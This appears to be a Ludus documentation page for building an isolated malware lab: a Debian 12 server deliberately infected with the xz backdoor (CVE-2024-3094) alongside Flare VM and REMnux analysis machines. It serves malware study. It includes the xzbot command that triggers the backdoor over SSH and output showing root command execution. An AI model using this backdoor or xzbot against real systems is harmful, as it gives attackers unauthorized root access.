Skip to main content

Malware Lab (xz backdoor)

Props!

Shout out to Andres Freund (@AndresFreundTec) who discovered the backdoor and Anthony Weems (@amlweems) for all the hard work to reverse engineer and create xzbot!

This guide will create malware lab, including a Debian 12 server that is infected with the xz backdoor (CVE-2024-3094).

  1. Add the roles we will need to your Ludus server
ludus ansible role add badsectorlabs.ludus_flarevm
ludus ansible role add badsectorlabs.ludus_remnux
ludus ansible role add badsectorlabs.ludus_xz_backdoor
  1. Modify your ludus config to add the appropriate roles to machines.

Feel free to modify as you see fit. Perhaps you only want the Flare VM or only the REMnux VM.

danger

This badsectorlabs.ludus_xz_backdoor role contains malware (on purpose). While all analysis indicates this is a passive backdoor (i.e. the attacker must actively access it), you should still use caution when dealing with malware.

For this reason, we will not add the badsectorlabs.ludus_xz_backdoor to our configuration yet

config.yml
ludus:
- vm_name: "{{ range_id }}-xz-backdoor"
hostname: "{{ range_id }}-xz-backdoor"
template: debian-12-x64-server-template
vlan: 99
ip_last_octet: 1
ram_gb: 2
cpus: 2
linux: true
testing:
snapshot: true
block_internet: true

- vm_name: "{{ range_id }}-REMnux"
hostname: "{{ range_id }}-REMnux"
template: ubuntu-20.04-x64-server-template
vlan: 99
ip_last_octet: 2
ram_gb: 4
cpus: 2
linux: true
testing:
snapshot: true
block_internet: true
roles:
- badsectorlabs.ludus_remnux

- vm_name: "{{ range_id }}-flare"
hostname: "{{ range_id }}-FLARE"
template: win11-22h2-x64-enterprise-template
vlan: 99
ip_last_octet: 3
ram_gb: 4
cpus: 2
windows:
install_additional_tools: false
testing:
snapshot: true
block_internet: true
roles:
- badsectorlabs.ludus_flarevm

If you would rather use Flare VM or REMnux templates (to speed up deployment of multiple ranges), you can do that by changing out the template values and removing the roles for those VMs. These roles will take a long time to run (hours!). Flare VM and REMnux templates are provided with Ludus but need to be added and built manually.

  1. Set this config and deploy it.

If you don't have the ubuntu-20.04-x64-server-template on your Ludus host, you can add it with the following commands.

git clone https://gitlab.com/badsectorlabs/ludus.git
cd ludus/templates
ludus templates add -d ubuntu-20.04-x64-server
ludus templates build
# Wait for the template to successfully build
# You can watch the logs with `ludus template logs -f`
# Or check the status with `ludus template status` and `ludus templates list`

With the template built, set the config and deploy it.

ludus range config set -f config.yml
ludus range deploy
# Wait for the range to successfully deploy
# You can watch the logs with `ludus range logs -f`
# Or check the status with `ludus range status`
  1. With the range deployed, enter testing mode to snapshot and cut off the internet
ludus testing start
  1. Edit the config to add the xz backdoor to the Debian server.

This will work even with the internet cut off because the ludus host downloads the files and pushes them to the Debian VM.

config.yml
ludus:
- vm_name: "{{ range_id }}-xz-backdoor"
hostname: "{{ range_id }}-xz-backdoor"
template: debian-12-x64-server-template
vlan: 10
ip_last_octet: 1
ram_gb: 2
cpus: 2
linux: true
testing:
snapshot: true
block_internet: true
roles:
- badsectorlabs.ludus_xz_backdoor
role_vars:
ludus_xz_backdoor_install_xzbot: true
ludus_xz_backdoor_install_backdoor: true

- vm_name: "{{ range_id }}-REMnux"
hostname: "{{ range_id }}-REMnux"
template: ubuntu-20.04-x64-server-template
vlan: 99
ip_last_octet: 2
ram_gb: 4
cpus: 2
linux: true
testing:
snapshot: true
block_internet: true
roles:
- badsectorlabs.ludus_remnux

- vm_name: "{{ range_id }}-flare"
hostname: "{{ range_id }}-FLARE"
template: win11-22h2-x64-enterprise-template
vlan: 99
ip_last_octet: 3
ram_gb: 4
cpus: 2
windows:
install_additional_tools: false
testing:
snapshot: true
block_internet: true
roles:
- badsectorlabs.ludus_flarevm
  1. Set this config and force deploy it.
ludus range config set -f config.yml --force
ludus range deploy -t user-defined-roles --limit localhost,JD-xz-backdoor --force # Replace "EH" with your userID.
# Wait for the range to successfully deploy
# You can watch the logs with `ludus range logs -f`
# Or check the status with `ludus range status`
  1. Explore the backdoor!

Log into the Debian server (debian:debian) and elevate to root.

sudo su -

Verify that the (patched) backdoored shared object is linked

ls -lart /usr/lib/x86_64-linux-gnu/liblzma.so.5
lrwxrwxrwx 1 root root 39 Apr 4 20:48 /usr/lib/x86_64-linux-gnu/liblzma.so.5 -> /opt/xz_backdoor/liblzma.so.5.6.1.patch

Use the xzbot command to send it a command

xzbot -addr '127.0.0.1:22' -cmd 'id > /tmp/xz'
00000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |....ssh-rsa-cert|
00000010 2d 76 30 31 40 6f 70 65 6e 73 73 68 2e 63 6f 6d |-v01@openssh.com|
00000020 00 00 00 00 00 00 00 03 01 00 01 00 00 01 01 01 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000130 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 |................|
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000160 00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00 |........ssh-rsa.|
00000170 00 00 01 01 00 00 01 00 34 12 00 00 78 56 00 00 |........4...xV..|
00000180 a2 ff d9 f9 ff ff ff ff b8 ae a7 53 04 8f 5d 37 |...........S..]7|
00000190 d1 fc 3a ff 78 a3 18 de 70 4d a2 6d d1 3d 01 c8 |..:.x...pM.m.=..|
000001a0 42 b8 2c 0b 00 ce db 58 76 75 6a ba 75 c5 69 cf |B.,....Xvuj.u.i.|
000001b0 97 0c bf c9 60 ac d9 e0 af 9d 45 7b 87 9e f4 0f |....`.....E{....|
000001c0 b8 1a a0 0a 18 8a e3 ca 9f d6 30 ef 67 00 2f 8d |..........0.g./.|
000001d0 39 60 45 f6 13 b5 82 b6 d4 4e 0b 16 8a 4b 40 b6 |9`E......N...K@.|
000001e0 9e b2 c7 8f f4 c0 86 e0 d8 44 68 85 06 5a 77 4b |.........Dh..ZwK|
000001f0 11 9f e4 f1 ed 5a d2 ec 8f 1d bf 47 b9 5e a0 49 |.....Z.....G.^.I|
00000200 8c 28 de ce 0a ff 6f 47 0c 84 36 d3 00 00 00 00 |.(....oG..6.....|
00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000270 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 07 |................|
00000280 73 73 68 2d 72 73 61 00 00 00 01 00 |ssh-rsa.....|
2024/04/04 21:37:12 ssh: handshake failed: EOF

Verify that the command executed as root

cat /tmp/xz
uid=0(root) gid=0(root) groups=0(root)

Use the Flare VM or REMnux VM to pull apart the backdoor shared object with Ghidra or other tools.

When you're done, save any work you want to keep off the VMs and exit testing

ludus testing stop